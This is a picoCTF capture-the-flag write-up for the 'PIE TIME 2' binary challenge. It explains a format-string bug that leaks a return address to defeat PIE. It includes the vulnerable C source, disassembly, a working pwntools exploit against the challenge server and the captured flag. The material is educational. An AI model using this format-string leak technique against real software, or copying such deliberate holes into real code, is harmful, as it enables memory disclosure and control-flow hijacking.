Let’s run the file command on the ELF binary.

file

file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=89c0ed5ed3766d1b85809c2bef48b6f5f0ef9364, for GNU/Linux 3.2.0, not stripped

All the security features are enabled.

checksec

checksec vuln
[*] '/home/picoctf/pwn/pie_time2/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Here’s the source code.

C code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

void call_functions() {
  char buffer[64];
  printf("Enter your name:");
  fgets(buffer, 64, stdin);
  printf(buffer);

  unsigned long val;
  printf(" enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  call_functions();
  return 0;
}

The vulnerability is a format string bug.

The code uses printf to print the contents of a character array directly, without using a format specifier like “%s”.

void call_functions() {
  char buffer[64];
  printf("Enter your name:");
  fgets(buffer, 64, stdin);
  printf(buffer);
  ...
}

The binary is almost identical to the binary for PIE TIME.

It first asks for your name, then for an address.

To get the flag we need to enter the address of the win function, but since there are no direct memory leaks, we must leverage the format string bug to grab an address from the stack.

Enter your name:hwkim301

enter the address to jump to, ex => 0x12345: 0x55555555536a
Segfault Occurred, incorrect address.

I can confirm that the 8th value printed my input ‘AAAAAAAAA’(0x4141414141414141).

./vuln 
Enter your name:AAAAAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
AAAAAAAAA 0x5557b40352a1 0xfbad2288 0x7ffc4e8b3240 (nil) 0x410 0x7ffc4e8b3250 0x7f1e9c5ca415 0x4141414141414141 0x2070252070252041 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x70252070252070 (nil) 0xb6b770174d159300 0x7ffc4e8b32a0 enter the address to jump to, ex => 0x12345: Segfault Occurred, incorrect address.

Since the binary is compiled with PIE, we must work with function offsets rather than static addresses.

gef➤  p win
$1 = {<text variable, no debug info>} 0x136a <win>
gef➤  p main
$2 = {<text variable, no debug info>} 0x1400 <main>

The offset from the start of the main function (0x1400) to the start of the win function (0x136a) is -150 bytes (0x136a - 0x1400).

./vuln 
Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p 
0x55aefbc5c2a1 0xfbad2288 0x7fff72052160 (nil) 0x410 0x7fff72052170 0x7f79eac98415 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x20702520702520 (nil) 0x187fb725601aee00 0x7fff720521c0 0x55aee0b43441 0x7fff72052260 0x7f79eac301ca  enter the address to jump to, ex => 0x12345: Segfault Occurred, incorrect address.

Previously we figured out from my last writeup that even if PIE is enabled, the last 3 numbers or nibbles of the memory address never changes due to page alignment.

If you look closely at the 19th %p it printed 0x55aee0b43441.

gef➤  disass main
Dump of assembler code for function main:
   0x0000000000001400 <+0>:     endbr64
   0x0000000000001404 <+4>:     push   rbp
   0x0000000000001405 <+5>:     mov    rbp,rsp
   0x0000000000001408 <+8>:     lea    rsi,[rip+0xfffffffffffffe9a]        # 0x12a9 <segfault_handler>
   0x000000000000140f <+15>:    mov    edi,0xb
   0x0000000000001414 <+20>:    call   0x1170 <signal@plt>
   0x0000000000001419 <+25>:    mov    rax,QWORD PTR [rip+0x2bf0]        # 0x4010 <stdout@@GLIBC_2.2.5>
   0x0000000000001420 <+32>:    mov    ecx,0x0
   0x0000000000001425 <+37>:    mov    edx,0x2
   0x000000000000142a <+42>:    mov    esi,0x0
   0x000000000000142f <+47>:    mov    rdi,rax
   0x0000000000001432 <+50>:    call   0x1180 <setvbuf@plt>
   0x0000000000001437 <+55>:    mov    eax,0x0
   0x000000000000143c <+60>:    call   0x12c7 <call_functions>
   0x0000000000001441 <+65>:    mov    eax,0x0
   0x0000000000001446 <+70>:    pop    rbp
   0x0000000000001447 <+71>:    ret
gef➤  disass win
Dump of assembler code for function win:
   0x000000000000136a <+0>:     endbr64
   0x000000000000136e <+4>:     push   rbp
   0x000000000000136f <+5>:     mov    rbp,rsp
   0x0000000000001372 <+8>:     sub    rsp,0x10
   0x0000000000001376 <+12>:    lea    rdi,[rip+0xcf6]        # 0x2073
   0x000000000000137d <+19>:    call   0x1110 <puts@plt>
   0x0000000000001382 <+24>:    lea    rsi,[rip+0xcf3]        # 0x207c
   0x0000000000001389 <+31>:    lea    rdi,[rip+0xcee]        # 0x207e
   0x0000000000001390 <+38>:    call   0x1190 <fopen@plt>
   0x0000000000001395 <+43>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000001399 <+47>:    cmp    QWORD PTR [rbp-0x8],0x0
   0x000000000000139e <+52>:    jne    0x13b6 <win+76>
   0x00000000000013a0 <+54>:    lea    rdi,[rip+0xce0]        # 0x2087
   0x00000000000013a7 <+61>:    call   0x1110 <puts@plt>
   0x00000000000013ac <+66>:    mov    edi,0x0
   0x00000000000013b1 <+71>:    call   0x11b0 <exit@plt>
   0x00000000000013b6 <+76>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000000013ba <+80>:    mov    rdi,rax
   0x00000000000013bd <+83>:    call   0x1150 <fgetc@plt>
   0x00000000000013c2 <+88>:    mov    BYTE PTR [rbp-0x9],al
   0x00000000000013c5 <+91>:    jmp    0x13e1 <win+119>
   0x00000000000013c7 <+93>:    movsx  eax,BYTE PTR [rbp-0x9]
   0x00000000000013cb <+97>:    mov    edi,eax
   0x00000000000013cd <+99>:    call   0x1100 <putchar@plt>
   0x00000000000013d2 <+104>:   mov    rax,QWORD PTR [rbp-0x8]
   0x00000000000013d6 <+108>:   mov    rdi,rax
   0x00000000000013d9 <+111>:   call   0x1150 <fgetc@plt>
   0x00000000000013de <+116>:   mov    BYTE PTR [rbp-0x9],al
   0x00000000000013e1 <+119>:   cmp    BYTE PTR [rbp-0x9],0xff
   0x00000000000013e5 <+123>:   jne    0x13c7 <win+93>
   0x00000000000013e7 <+125>:   mov    edi,0xa
   0x00000000000013ec <+130>:   call   0x1100 <putchar@plt>
   0x00000000000013f1 <+135>:   mov    rax,QWORD PTR [rbp-0x8]
   0x00000000000013f5 <+139>:   mov    rdi,rax
   0x00000000000013f8 <+142>:   call   0x1120 <fclose@plt>
   0x00000000000013fd <+147>:   nop
   0x00000000000013fe <+148>:   leave
   0x00000000000013ff <+149>:   ret
End of assembler dump.

It has the same last 3 numbers as 0x0000000000001441 <+65>: mov eax,0x0 in the main function.

The leaked address (0x…441) is the return address from call_functions, located at offset +65 within main.

The win function is at a static offset of 0x136a.

Therefore, the offset from our leaked address to the win function is 0x1441 - 0x136a = 215 bytes. We must subtract this from the leaked address to find win.

Instead of typing 19 %ps manually to find the address in the main function, you can use a format specifier %19$p.

%19$p allows you to directly select the 19th argument from the printf function.

Another important note is that since the offset from the binary base to the main function is 0x1400 and the offset to the win function is 0x136a you need to subtract the offset.

Here’s the full exploit code.

Full exploit

from pwn import *

r = remote("rescued-float.picoctf.net", 52433)
r.sendlineafter(b"Enter your name:", b"%19$p")
leak = int(r.recvline().strip(), 16)
print(hex(leak))
win = leak - 215
r.sendlineafter(b"ex => 0x12345:", hex(win).encode("utf-8"))
r.interactive()

# picoCTF{p13_5h0u1dn'7_134k_2718fe04} pie_shouldn't_leak 

Some questions after getting the flag

Even though I solved the problem with looking at writeups and spending a couple hours, I still have 2 questions.

1. Why does the virtual address of ELF files compiled with PIE always start at 0x0000555555555400?

Someone on stack-overflow posted almost the same question I had.

After looking at the linux kernel source code, I guess I can understand a little bit of the reason.

https://stackoverflow.com/questions/78185176/base-virtual-address-for-text-segment-of-pie-elf-executable-on-linux-x86-64

https://elixir.bootlin.com/linux/v6.13/source/arch/x86/include/asm/elf.h

https://elixir.bootlin.com/linux/v6.13/source/arch/x86/include/asm/page_64_types.h

2. Is there a way to find the offset faster instead of entering a bunch of %ps to get the offset?

I still don’t know the answer to this one, even the guys who eat sleep and pwn seem to just enter a whole bunch of %ps lol.

Reference Writeup

1. This writeup is pretty good

https://hackmd.io/@sal/HJtUdR5n1e